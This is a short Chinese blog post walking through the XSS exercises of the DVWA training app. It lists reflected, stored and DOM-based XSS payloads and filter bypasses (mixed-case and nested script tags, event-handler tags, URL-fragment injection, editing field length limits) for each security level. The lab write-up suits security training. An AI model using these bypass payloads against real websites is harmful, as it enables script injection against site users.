DVWA XSS攻擊示例
阿新 • • 發佈:2018-12-14
反射型XSS:
**Low等級:**任何XSS方法都可以用 **中等級:**過濾
<script >alert('123')</script>
<sCript>alert('123')</script>
<scri<script>pt>alert('123')</script>
<img src=# onerror=alert(1)>
<h1 onclick=alert(1)>123</h1>等等
**高等級:**過濾掉script標籤更嚴格,不能使用script標籤
<h1 onclick=alert(1)>123</h1>
<img src=# onerror=alert(1)>
等其他html標籤構造的事件還是可以使用的。
不可能等級: 用到了htmlspecialchars(),這個函式是將預定義的字元轉換為 HTML 實體。 預定義的字元是:
& (和號)成為 &
" (雙引號)成為 "
' (單引號)成為 '
< (小於)成為 <
> (大於)成為 >
所以暫時沒想出來咋辦咯。
儲存型XSS:
低等級:沒有過濾直接注入,但是name框有最大長度限制,所以選擇在message注入
<img src=# onerror=alert(1)>等等
中等級:因為一上來就給Message添加了htmlspecialchars函式所以不能進行注入,但是name框長度的最大限制是在html設定的,所以可以在審查元素中直接對長度進行修改。 還可以用burp抓包傳送。 高等級:message還是封死了,還是把script過濾掉了,跟中等級類似,抓包傳送等等。
不可能:
這裡對name和message都做了htmlspecialchars()處理,所以暫時想不出來。
DOM型XSS:
低等級:直接在網頁導航欄構造GET XSS即可完成注入
中等級:原始碼顯示會過濾掉script標籤,但是直接用<img src=# onerror=alert(1)>
?#default=<script>alert("xss")</script>
也可以。
高等級: 對傳入值進行switch判斷
?default=English #<script>alert(1)</script>
#該字元後的資料不會發送到伺服器端,從而繞過服務端過濾。